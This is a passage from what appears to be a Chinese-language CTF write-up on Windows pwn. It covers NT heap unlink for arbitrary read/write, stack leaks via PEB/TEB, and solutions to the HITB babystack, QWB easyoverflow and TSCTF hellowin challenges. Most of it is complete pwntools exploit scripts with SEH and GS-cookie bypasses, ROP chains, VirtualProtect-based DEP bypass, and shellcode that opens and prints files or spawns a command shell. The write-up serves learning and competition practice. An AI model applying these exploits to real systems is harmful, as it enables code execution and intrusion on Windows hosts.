,因此不会进行任何的处理接下来就是执行unlink
写的操作了。Q->Blink->Flink=Q->Flink;Q->Flink->Blink=Q->Blink
,也就是会将buf_list
中的Q
指针覆写为buf_list+0x8
的地址,这样就可以控制buf_list
的内容了,实现了任意读写。
合并完成之后需要将合并之后的堆块插入到freelist
中去,由于合并的堆块较大,因此会插入到A
前面,这里会进行一个检查A->Blink->Flink==A
,检查Q->Flink==A
(不知道为什么还要检查这一步),这里显然会failed
,但是并不会abort
,只是不会插入堆块。将合并后的堆块对应的ListHint
更新之后即完成free
。
至此我们利用unlink
攻击完成了任意读写。
Control RIP 由于windows
中并不像Linux
那样含有hook
函数,因此只能通过覆写返回地址来进行getshell
。这样的话首先需要泄露栈地址。目前应该是有两种方法
通过ImgaeBase
地址获取其导入表IAT
中的Kernel32
中的某些函数的地址从而获得Kernel32
的地址,利用同样的方法从Kernel32
中获取得到KernelBase
的地址,KernleBase
中存在一个BasepFilterInfo
,它是指向一个heap
的结构,由于未初始化的问题,里面就会包含有Stack Pointer
,进而获取栈地址。更详细的分析看这
如果上面描述的方法失败的话,还可以利用ntdll!PebLdr
中的PEB
附近的地址获取PEB
的地址,而PEB
前后一个页面之内通常就是TEB
,TEB
中会存储有StackBase
也就是栈尾段的地址,由于我们之前会获取的得到ImageBase
的地址,那么mian
函数的返回地址的值我们是知道的,通过在栈中全局搜索该值,我们就会得到返回地址所在的地址。
在获取得到ret address
之后,我们就可以直接覆写返回地址,在函数返回的时候劫持程序控制流。一种是通过ROP
直接orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 _open = ucrtbase + 0xA2A30 _read = ucrtbase + 0x16270 puts = ucrtbase + 0x80760 rop = p64(pop_rdx_rcx_r8_r9_r10_r11) rop += p64(0 ) rop += p64(flag_address) rop += p64(0 ) * 4 rop += p64(_open) rop += p64(pop_rdx_rcx_r8_r9_r10_r11) rop += p64(0 ) * 6 rop += p64(pop_rdx_rcx_r8_r9_r10_r11) rop += p64(imagebase + 0x6800 ) rop += p64(3 ) rop += p64(0x40 ) rop += p64(0 ) * 3 rop += p64(_read) rop += p64(pop_rdx_rcx_r8_r9_r10_r11) rop += p64(0 ) * 6 rop += p64(pop_rdx_rcx_r8_r9_r10_r11) rop += p64(0 ) rop += p64(imagebase + 0x6800 ) rop += p64(0 ) * 4 rop += p64(puts)
另一种则是通过调用VirtualProtect/VirtualAlloc
,获取关闭了NX
的内存空间,直接执行shellcode
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 CreateFileA_address = kernel_dll + 0x22080 ReadFile_address = kernel_dll + 0x22410 GetStdHandle_address = kernel_dll + 0x1c620 WriteFile_address = kernel_dll + 0x22500 shellcode = ''' sub rsp, 0x1000 ;// to prevent underflowing mov rax, 0x7478742e67616c66 ;// flag.txt mov [rsp + 0x100], rax mov byte ptr [rsp + 0x108], 0 lea rcx, [rsp + 0x100] mov edx, 0x80000000 mov r8d, 1 xor r9d, r9d mov dword ptr[rsp + 0x20], 3 mov dword ptr[rsp + 0x28], 0x80 mov [rsp + 0x30], r9 mov rax, %d call rax ;// CreateFile mov rcx, rax lea rdx, [rsp + 0x200] mov r8d, 0x200 lea r9, [rsp + 0x30] xor eax, eax mov [rsp + 0x20], rax mov rax, %d call rax ;// ReadFile mov ecx, 0xfffffff5 ;// STD_OUTPUT_HANDLE mov rax, %d call rax ;// GetStdHandle mov rcx, rax lea rdx, [rsp + 0x200] mov r8d, [rsp + 0x30] lea r9, [rsp + 0x40] xor eax, eax mov [rsp + 0x20], rax mov rax, %d call rax ;// WriteFile mov rax, %d call rax ;// exit ''' % ( CreateFileA_address, ReadFile_address,GetStdHandle_address ,WriteFile_address , exit_address)shellcode = asm(shellcode) shellcode_address = edit_ret_address + 0x80 + 0x10 VirtualProtect = kernel_dll + 0x1B410 payload = flat([ pop_rdx_rcx_r8_r9_r10_r11, 0x1000 , shellcode_address & 0xfffffffffffff000 , 0x40 , shellcode_address + 0x500 , 0 , 0 , VirtualProtect, shellcode_address ])
Segment 段堆 调试 使用的是EX
师傅的这个脚本 ,在windows
中启动一个服务,然后就可以在linux
通过nc
进行连接。在python
脚本中添加一个raw_input
,运行到此时的时候通过windbg
进行attach
,下断点就可以进行调试了。
HITB GSEC babystack 检查一下程序开启的保护
程序里存在很明显的栈溢出
程序一开始会输出栈地址和main
函数地址,这样就不用关心地址随机化的问题了,接着输入的如果是yes
的话则会泄露指定内存地址中存储的信息,如果输入的是no
的话则会触发栈溢出。此外在main
函数中还隐藏着直接获得cmd
的汇编指令
利用 通过栈溢出可以直接控制SEH
链。而且程序中存在任意的内存读,因此首先将security_cookie
的值读取出来,security_cookie
的地址可以通过main_addrss
的地址获取。ebp
的数值可以通过stack_address
的值获取。泄露ebp-0x10
位置存储的SEH
链的起始地址也就是next
指针的数值。之后就可以伪造fake secop table
结构体了,GS
的栈保护的数值可以通过ebp,cookie
异或得到。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *context.log_level = "debug" p = remote('192.168.184.1' , 10000 ) one_gadget = 0x0 def read_value (address) : p.sendlineafter("know more?\r\n" , "yes" ) p.sendlineafter("want to know\r\n" , str(address)) p.recvuntil("value is 0x" ) return int(p.recvline().strip(b"\r\n" ), 16 ) security_cookie_offset = 0x00404004 - 0x004010B0 shell_offset = 0x0040138D - 0x004010B0 p.recvuntil("stack address = 0x" ) stack_address = int(p.recvline().strip(b"\n" ), 16 ) p.recvuntil("main address = 0x" ) main_address = int(p.recvline().strip(b"\n" ), 16 ) log.success("stack address {}" .format(hex(stack_address))) log.success("main address {}" .format(hex(main_address))) raw_input() security_cookie_address = security_cookie_offset + main_address security_cookie = read_value(security_cookie_address) ebp_address = stack_address + 0x9c seh_next = read_value(ebp_address - 0x10 ) gs_value = read_value(ebp_address - 0x1c ) shell_address = main_address + shell_offset _except_handler_address = main_address + 0x00401460 - 0x004010B0 fake_scope_table = p32(0x0FFFFFFE4 ) fake_scope_table += p32(0 ) fake_scope_table += p32(0x0FFFFFF20 ) fake_scope_table += p32(0 ) fake_scope_table += p32(0x0FFFFFFFE ) fake_scope_table += p32(shell_address) fake_scope_table_address = stack_address + 0x4 p.sendlineafter("know more?\r\n" , b"n" ) payload = b"a" *4 + fake_scope_table.ljust(0x9c -0x1c -0x4 , b"a" ) payload += p32(ebp_address ^ security_cookie) payload += b"a" *8 payload += p32(seh_next) payload += p32(_except_handler_address) payload += p32(fake_scope_table_address ^ security_cookie) payload += p32(0 ) p.sendline(payload) log.success("fake scope tabel address {}" .format(hex(fake_scope_table_address))) p.sendlineafter("know more?\r\n" , "yes" ) p.sendlineafter("want to know\r\n" , "0" ) p.interactive()
2020 强网杯 easyoverflow 程序存在一个明显的栈溢出
看一下程序开启了什么保护
这题目存在栈溢出,而且并没有开启CFG
保护,因此我们直接覆盖main
函数的返回地址即可,但是首先我们需要先泄露GS
的值,以及security_cookie
的值。
这里泄露栈中GS
的值直接利用puts
函数连续打印即可,但是security_cookie
的值存储在了.data
段中,因此需要使用rop
,调用puts
函数进行输出,在StackOverflow
这个pe
文件中存在一个puts
的调用,因此只要提前设置好rcx
的值为需要输出的地址就好了。
在获取得到security_cookie
的值之后就可以进行rop
了,因为循环结束之后会进行add esp,0x130
的操作,因此rsp
改变,需要填充的GS
值也相应的发生改变。
调用system
的位置在ucrtbase
动态链接库中,因此还需要泄露该库的地址,read
函数是从该库import
的,因此泄露了read
函数的基址就可以得到ucrtbase
库的基址,接着调用system
函数即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from pwn import *context.arch = "amd64" context.log_level = "debug" p = remote('10.128.225.49' , 1000 ) def leak (size) : p.sendafter("input:\r\n" , "a" *size) p.recvuntil("buffer:\r\n" ) p.recvuntil("a" *size) p_rcx_r = 0xA00FE p_rsi_rdi_r = 0xA076F puts_offset = 0x10a6 read_import = 0x2178 cookie_offset = 0x3008 ret_address = 0x10ca system_address = 0xae5d0 cmd_address = 0xd0c00 raw_input() leak(0x100 ) gs_value = u64(p.recv(6 ).ljust(8 , b"\x00" )) log.success("gs_value {}" .format(hex(gs_value))) pe_base = 0x7ff649100000 leak(0x188 ) ntdll_base = u64(p.recv(6 ).ljust(8 , b"\x00" )) - 0x4cec1 log.success("ntdll base {}" .format(hex(ntdll_base))) ntdll_base = 0x7ffc2f6d0000 payload = b"a" *0x100 + p64(gs_value) payload += b"a" *0x8 + p64(1 ) payload += p64(p_rcx_r + ntdll_base) + p64(cookie_offset + pe_base) payload += p64(puts_offset + pe_base) p.sendafter("input:\r\n" , payload) p.recvuntil("buffer:\r\n" ) p.recvline() security_cookie = u64(p.recv(6 ).ljust(8 , b"\x00" )) log.success("security cookie {}" .format(hex(security_cookie))) old_rsp = (security_cookie ^ gs_value) log.success("old rsp {}" .format(hex(old_rsp))) new_rsp = old_rsp + 0x130 +0x20 log.success("new rsp {}" .format(hex(new_rsp))) new_gs_value = security_cookie ^ new_rsp log.success("new gs value {}" .format(hex(new_gs_value))) payload = b"a" *0x100 + p64(new_gs_value) payload += b"a" *0x8 + p64(1 ) payload += p64(p_rcx_r + ntdll_base) + p64(read_import + pe_base) payload += p64(puts_offset + pe_base) p.sendafter("input:\r\n" , payload) p.recvuntil("buffer:\r\n" ) p.recvline() ucrtbase_base = u64(p.recv(6 ).ljust(8 , b"\x00" )) - 0x17bc0 log.success("ucrtbase address {}" .format(hex(ucrtbase_base))) new_rsp += 0x130 + 0x20 new_gs_value = security_cookie ^ new_rsp payload = b"a" *0x100 + p64(new_gs_value) payload += b"a" *0x8 + p64(1 ) payload += p64(p_rsi_rdi_r + ntdll_base) + p64(0 )*2 payload += p64(p_rcx_r + ntdll_base) + p64(cmd_address + ucrtbase_base) payload += p64(system_address + ucrtbase_base) p.sendafter("input:\r\n" , payload) p.recvline() p.interactive()
getshell
之后输入type flag
即可
2020 TSCTF hellowin 堆溢出的一个题目。
不允许创建子进程之后我们就没办法直接执行system("cmd.exe")
。
泄露imagebase 程序首先读取了name
注意到这里存在一个格式化字符串漏洞但是执行完毕之后就退出了
我们注意到windows
中动态链接库加载的基址在一段时间内是不会发生变化的,因此可以首先利用格式化字符串泄露地址,那么这里泄露的是什么地址呢。由于windows
中的参数传递与linux
中的不同,其通过RCX,RDX,R8,R9,stack
传递参数。
泄露出来的地址第一个是ucrtbase
的基址,第二三个是stack
的基址,第四个是个堆地址,第五个是image
的基址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 payload = "%p%p%p%p%p" raw_input() p.sendlineafter("me your name:\r\n" , payload) p.recvuntil("Hello! " ) address_str = p.recvuntil("\r\n" , drop=True ) ucrtbase = int(address_str[:16 ], 16 ) - 0xeb750 log.success("ucrtbase dll address {}" .format(hex(ucrtbase))) imagebase = int(address_str[-16 :], 16 ) - 0x1b4a log.success("elf image address {}" .format(hex(imagebase))) payload = "%p%p%p%p%p" raw_input() p.sendlineafter("me your name:\r\n" , payload) p.recvuntil("Hello! " ) address_str = p.recvuntil("\r\n" , drop=True ) ucrtbase = int(address_str[:16 ], 16 ) - 0xeb750 log.success("ucrtbase dll address {}" .format(hex(ucrtbase))) imagebase = int(address_str[-16 :], 16 ) - 0x1b4a log.success("elf image address {}" .format(hex(imagebase)))
unlink获取任意地址读写 由于程序存在一个堆溢出,我们可以利用这个溢出构造unlink
,实现chunk2
可以控制chunk3
的指针,以实现任意地址读写。在windows
中堆块的头部8
字节会用_HEAP->encoding
进行异或加密,因此我们需要首先泄露出free
之后的堆块头部,这里注意的是正常使用中的堆块与释放了的堆块的头部并不相同。
泄露之后即可以覆写chunk2 Flink,Blink
为buf_list+0x8,buf_list+0x10
,也就是&chunk2-0x8,&chunk2
,在发生unlink
的时候就会将buf_list+0x10
的位置覆写为buf_list+0x10
。详细分析见上
之后我们将此位置覆写为buf_list+0x18
,那么此时就可以通过chunk2
来控制chunk3
了,实现了任意地址读写。但是需要注意的是在任意读写之前需要通过magic
函数将uselist
中chunk2
对应的位置置为1
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0 :000 > dq overflow+6620 l600007f f6`f3046620 00000229 `94 cc0720 00000229 `94 cc078000007f f6`f3046630 00007f f6`f3046630 00000229 `94 cc084000007f f6`f3046640 00000229 `94 cc08a0 00000229 `94 cc09000 :000 > gBreakpoint 0 hit overflow+0x1b66 : 00007f f6`f3041b66 e895f9ffff call overflow+0x1500 (00007f f6`f3041500)0 :000 > gBreakpoint 0 hit overflow+0x1b66 : 00007f f6`f3041b66 e895f9ffff call overflow+0x1500 (00007f f6`f3041500)0 :000 > dq overflow+6620 l600007f f6`f3046620 00000229 `94 cc0720 00000229 `94 cc078000007f f6`f3046630 00007f f6`f3046638 00000229 `94 cc084000007f f6`f3046640 00000229 `94 cc08a0 00000229 `94 cc0900
我们看到已经可以通过chunk2
控制chunk3
的指针了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 # dbg point # leak free header avoid header check raw_input() delete (2 )free_heap_header = b'' while len(free_heap_header) < 8: head_length = len(free_heap_header) edit(1 , 0x58 + head_length, b'a' * (0x58 + head_length) + b"\n" ) show(1 ) p.recvuntil('a' * (0x58 + head_length)) free_heap_header += p.recvuntil(b'\r\n', drop=True) + b"\x00" free_heap_header = u64(free_heap_header.ljust(8 , b"\x00" )[:8 ]) edit(1 , 0x60 , b'a' * 0x58 + p64(free_heap_header) + b"\n" ) log .success("free heap header {}" .format(hex(free_heap_header)))puts_iat = imagebase + 0x31b8 Sleep_ida = imagebase + 0x3010 buf_list = imagebase + 0x6620 inused_list = imagebase + 0x66b8 # unlink, use chunk 2 to control chunk3's ptr delete (4 )edit(1 , 0x58 + 0x18 , b"a" *0x58 + p64(free_heap_header) + p64(buf_list + 0x8 ) + p64(buf_list + 0x10 ) + b"\n" ) delete (1 )# set chunk2's userlist point to 1 , that we can edit chunk2 when it has been freed magic(2 ) edit(2 , 8 , p64(buf_list + 0x18 ) + b"\n" ) # here, we can control chunk3 by chunk2
泄露Stack Base value 由于我们要控制ret value
来执行rop chain
。那么首先需要获得的就是ret address
。这里采用的是通过TEB StackBase
的方法,那么首先就需要泄露出ntdll
的地址,ntdll
的地址可以通过kernel32
的中的IAT
表泄露,而kernel32
的地址则可以通过image
的IAT
表泄露。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 0 :000 > r $peb$peb=00000084e6 af3000 0 :000 > r $teb$teb=00000084e6 af4000 0 :000 > dq ntdll!pebldr-0x50 00007f f9`fd3d5350 00000000 `00000000 00000000 `00000000 00007f f9`fd3d5360 00000000 `00000080 00000084 `e6af334000007f f9`fd3d5370 00000000 `00000000 00000229 `94 cf25f000007f f9`fd3d5380 00007f f9`fd270000 00000000 `00000000 00007f f9`fd3d5390 00000000 `00000000 00000000 `00000000 00007f f9`fd3d53a0 00000001 `00000058 00000000 `00000000 00007f f9`fd3d53b0 00000229 `94 cf2780 00000229 `94 cf422000007f f9`fd3d53c0 00000229 `94 cf2790 00000229 `94 cf42300 :000 > !tebTEB at 00000084e6 af4000 ExceptionList: 0000000000000000 StackBase: 00000084e6 d00000 StackLimit: 00000084e6 cfd000 SubSystemTib: 0000000000000000 FiberData: 0000000000001e00 ArbitraryUserPointer: 0000000000000000 Self: 00000084e6 af4000 EnvironmentPointer: 0000000000000000 ClientId: 00000000000017 c4 . 0000000000000 c38 RpcHandle: 0000000000000000 Tls Storage: 00000084e6 af4058 PEB Address: 00000084e6 af3000 LastErrorValue: 0 LastStatusValue: c00700bb Count Owned Locks: 0 HardErrorMode: 0
我们可以看到pebldr
偏移0x38
的位置存储了一个peb
附近的地址,而peb
偏移0x1000
的位置就是TEB
。TEB
中存储了StackBase
也就是栈末尾地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 edit(2 , 8 , p64(Sleep_ida) + b"\n" ) show(3 ) p.recvuntil("content: " ) kernel_dll = u64(p.recvuntil(b"\r\n" , drop=True ).ljust(8 , b"\x00" )) - 0x1b3f0 log.success("kernel address {}" .format(hex(kernel_dll))) NtCreateSection_iat = kernel_dll + 0x7a098 edit(2 , 8 , p64(NtCreateSection_iat) + b"\n" ) show(3 ) p.recvuntil("content: " ) ntdll = u64(p.recvuntil(b"\r\n" , drop=True ).ljust(8 , b"\x00" )) - 0x9ffa0 log.success("ntdll address {}" .format(hex(ntdll))) ntdll_PebLdr_addr = 0x1653a0 + ntdll edit(2 , 8 , p64(ntdll_PebLdr_addr - 0x38 ) + b"\n" ) show(3 ) p.recvuntil("content: " ) Peb_addr = u64(p.recvuntil(b"\r\n" , drop=True ).ljust(8 , b"\x00" )) - 0x340 Teb_addr = Peb_addr + 0x1000 log.success("peb address {}" .format(hex(Peb_addr))) log.success("teb address {}" .format(hex(Teb_addr))) edit(2 , 8 , p64(Teb_addr + 8 ) + b'\n' ) edit(3 , 2 , b"\x01\x01\n" ) result = b'' while len(result) < 8 : result_length = len(result) edit(2 , 8 , p64(Teb_addr + 8 + result_length) + b'\n' ) show(3 ) p.recvuntil("content: " ) result += p.recvuntil(b'\r\n' , drop=True ) + b'\x00' StackBase = u64(result[:8 ]) - u16("\x01\x01" ) edit(2 , 8 , p64(Teb_addr + 8 ) + b'\n' ) edit(3 , 2 , b"\x00\x00\n" ) log.success('StackBase: ' + hex(StackBase))
获取main_ret_address 注意到这里所说的main_ret_address
指的是栈地址。
虽然我们知道了StackBase
,但是受到ASLR
的影响,main
函数的返回地址相对于StackBase
来说并不是固定的,这和Linux
相同。但是由于我们已经知道了程序的基址,相应的我们也知道main
函数的返回地址的值,也就是ret address
这个栈地址中存储的内容。那么结合我们拥有的任意读写能力,就可以全局遍历栈找到存储这个值的栈地址,这就是main ret address
。由于返回地址肯定在栈的高地址处,因此这里从后向前读。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 edit(2 , 8 , p64(inused_list + 3 ) + b"\n" ) edit(3 , 4 , p8(1 )*4 + b"\n" ) main_ret_content = imagebase + 0x20d0 main_ret_address = 0 for addr in range(StackBase - 0x1000 , StackBase-0x10 , 0x10 )[::-1 ]: if main_ret_address == 0 : edit(2 , 0x20 , p64(addr + 0x18 ) + p64(addr + 0x10 ) + p64(addr + 8 ) + p64(addr) + b'\n' ) for i in range(3 , 3 + 4 ): show(i) p.recvuntil("content: " ) result = p.recvuntil(b'\r\n' , drop=True )[:8 ] content = u64(result.ljust(8 , b'\x00' )) if content == main_ret_content: main_ret_address = addr + (3 -(i-3 )) * 8 break edit_ret_address = main_ret_address - 0x50 log.success("main ret address {}" .format(hex(main_ret_address))) log.success("edit ret address {}" .format(hex(edit_ret_address)))
ROP 这里可以采取两种ROP
的方式,具体请参考unlink Control RIP
部分
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 from pwn import *context.log_level = "debug" context.arch = "amd64" p = remote('192.168.12.132' , 10001 ) one_gadget = 0x0 def add (size, content=b"1\n" ) : p.sendlineafter("*****]\r\n" , "1" ) p.sendlineafter("input size:\r\n" , str(size)) p.sendafter("input content:\r\n" , content) def show (index) : p.sendlineafter("*****]\r\n" , "2" ) p.sendlineafter("Input index:\r\n" , str(index)) def edit (index, size, content) : p.sendlineafter("*****]\r\n" , "3" ) p.sendlineafter("Input index:\r\n" , str(index)) p.sendlineafter("input size:\r\n" , str(size)) p.sendafter("input content:\r\n" , content) def delete (index) : p.sendlineafter("*****]\r\n" , "4" ) p.sendlineafter("Input index:\r\n" , str(index)) def magic (index) : p.sendlineafter("*****]\r\n" , "88" ) p.sendlineafter("Input index:\r\n" , str(index)) def shut () : p.sendlineafter("*****]\r\n" , "5" ) p.recvuntil("Now,are you ready?" ) p.sendline("Yes,me is!!!" ) ucrtbase = 0x7ff9f9850000 imagebase = 0x7ff6f3040000 name = "1212" p.sendlineafter("me your name:\r\n" , name) p.sendlineafter("me your password:\r\n" , name) for i in range(6 ): add(0x58 ) raw_input() delete(2 ) free_heap_header = b'' while len(free_heap_header) < 8 : head_length = len(free_heap_header) edit(1 , 0x58 + head_length, b'a' * (0x58 + head_length) + b"\n" ) show(1 ) p.recvuntil('a' * (0x58 + head_length)) free_heap_header += p.recvuntil(b'\r\n' , drop=True ) + b"\x00" free_heap_header = u64(free_heap_header.ljust(8 , b"\x00" )[:8 ]) edit(1 , 0x60 , b'a' * 0x58 + p64(free_heap_header) + b"\n" ) log.success("free heap header {}" .format(hex(free_heap_header))) puts_iat = imagebase + 0x31b8 Sleep_ida = imagebase + 0x3010 buf_list = imagebase + 0x6620 inused_list = imagebase + 0x66b8 delete(4 ) edit(1 , 0x58 + 0x18 , b"a" *0x58 + p64(free_heap_header) + p64(buf_list + 0x8 ) + p64(buf_list + 0x10 ) + b"\n" ) delete(1 ) magic(2 ) edit(2 , 8 , p64(buf_list + 0x18 ) + b"\n" ) edit(2 , 8 , p64(Sleep_ida) + b"\n" ) show(3 ) p.recvuntil("content: " ) kernel_dll = u64(p.recvuntil(b"\r\n" , drop=True ).ljust(8 , b"\x00" )) - 0x1b3f0 log.success("kernel address {}" .format(hex(kernel_dll))) NtCreateSection_iat = kernel_dll + 0x7a098 edit(2 , 8 , p64(NtCreateSection_iat) + b"\n" ) show(3 ) p.recvuntil("content: " ) ntdll = u64(p.recvuntil(b"\r\n" , drop=True ).ljust(8 , b"\x00" )) - 0x9ffa0 log.success("ntdll address {}" .format(hex(ntdll))) ntdll_PebLdr_addr = 0x1653a0 + ntdll edit(2 , 8 , p64(ntdll_PebLdr_addr - 0x38 ) + b"\n" ) show(3 ) p.recvuntil("content: " ) Peb_addr = u64(p.recvuntil(b"\r\n" , drop=True ).ljust(8 , b"\x00" )) - 0x340 Teb_addr = Peb_addr + 0x1000 log.success("peb address {}" .format(hex(Peb_addr))) log.success("teb address {}" .format(hex(Teb_addr))) edit(2 , 8 , p64(Teb_addr + 8 ) + b'\n' ) edit(3 , 2 , b"\x01\x01\n" ) result = b'' while len(result) < 8 : result_length = len(result) edit(2 , 8 , p64(Teb_addr + 8 + result_length) + b'\n' ) show(3 ) p.recvuntil("content: " ) result += p.recvuntil(b'\r\n' , drop=True ) + b'\x00' StackBase = u64(result[:8 ]) - u16("\x01\x01" ) edit(2 , 8 , p64(Teb_addr + 8 ) + b'\n' ) edit(3 , 2 , b"\x00\x00\n" ) log.success('StackBase: ' + hex(StackBase)) edit(2 , 8 , p64(inused_list + 3 ) + b"\n" ) edit(3 , 4 , p8(1 )*4 + b"\n" ) main_ret_content = imagebase + 0x20d0 main_ret_address = 0 for addr in range(StackBase - 0x1000 , StackBase-0x10 , 0x10 )[::-1 ]: if main_ret_address == 0 : edit(2 , 0x20 , p64(addr + 0x18 ) + p64(addr + 0x10 ) + p64(addr + 8 ) + p64(addr) + b'\n' ) for i in range(3 , 3 + 4 ): show(i) p.recvuntil("content: " ) result = p.recvuntil(b'\r\n' , drop=True )[:8 ] content = u64(result.ljust(8 , b'\x00' )) if content == main_ret_content: main_ret_address = addr + (3 -(i-3 )) * 8 break edit_ret_address = main_ret_address - 0x50 log.success("main ret address {}" .format(hex(main_ret_address))) log.success("edit ret address {}" .format(hex(edit_ret_address))) raw_input() edit(2 , 0x20 , p64(edit_ret_address) + b"./flag.txt" .ljust(0x10 , b"\x00" ) + b"\n" ) p_rsi_r = 0x6a46 + ntdll p_rdi_r = 0x1069 + ntdll p_rdx_r11_r = 0x8fb17 + ntdll p_rcx_r = 0x9215b + ntdll p_r8_r = 0x20107 + ntdll p_rdx_r14 = 0x1a6d2 + ntdll p_rbx_r = 0x112a + kernel_dll push_rax_r = 0xa33ac + ntdll p_r9_r10_r11_r = 0x8fb14 + ntdll push_rdi_r = 0x29081 + ucrtbase pop_rdx_rcx_r8_r9_r10_r11 = ntdll + 0x8FB10 flag_buf = inused_list flag_address = buf_list + 4 *8 mod_str_address = buf_list + 5 *8 system_address = ucrtbase + 0xabba0 cmd_address = ucrtbase + 0xcc9f0 load_dll_address = ucrtbase + 0xA9D30 fopen_address = ucrtbase + 0x71750 fgets_address = ucrtbase + 0x71340 puts_address = ucrtbase + 0x80760 exit_address = imagebase + 0x1A3F shellcode = ''' sub rsp, 0x1000 ;// to prevent underflowing mov rax, 0x7478742e67616c66 ;// flag.txt mov [rsp + 0x100], rax mov byte ptr [rsp + 0x108], 0 lea rcx, [rsp + 0x100] mov edx, 0x80000000 mov r8d, 1 xor r9d, r9d mov dword ptr[rsp + 0x20], 3 mov dword ptr[rsp + 0x28], 0x80 mov [rsp + 0x30], r9 mov rax, %d call rax ;// CreateFile mov rcx, rax lea rdx, [rsp + 0x200] mov r8d, 0x200 lea r9, [rsp + 0x30] xor eax, eax mov [rsp + 0x20], rax mov rax, %d call rax ;// ReadFile mov ecx, 0xfffffff5 ;// STD_OUTPUT_HANDLE mov rax, %d call rax ;// GetStdHandle mov rcx, rax lea rdx, [rsp + 0x200] mov r8d, [rsp + 0x30] lea r9, [rsp + 0x40] xor eax, eax mov [rsp + 0x20], rax mov rax, %d call rax ;// WriteFile mov rax, %d call rax ;// exit ''' % ( kernel_dll + 0x22080 , kernel_dll + 0x22410 , kernel_dll + 0x1c620 , kernel_dll + 0x22500 , exit_address)shellcode = asm(shellcode) shellcode_address = edit_ret_address + 0x80 + 0x10 VirtualProtect = kernel_dll + 0x1B410 payload = flat([ pop_rdx_rcx_r8_r9_r10_r11, 0x1000 , shellcode_address & 0xfffffffffffff000 , 0x40 , shellcode_address + 0x500 , 0 , 0 , VirtualProtect, shellcode_address ]) orw = payload.ljust(0x80 , b"\x00" ) + shellcode edit(3 , 0x1ff , orw + b"\n" ) p.interactive()
参考 Windows Pwn 学习之路
Windows-pwn解题原理&利用手法详解
Windows 10 Nt Heap Exploitation (English version)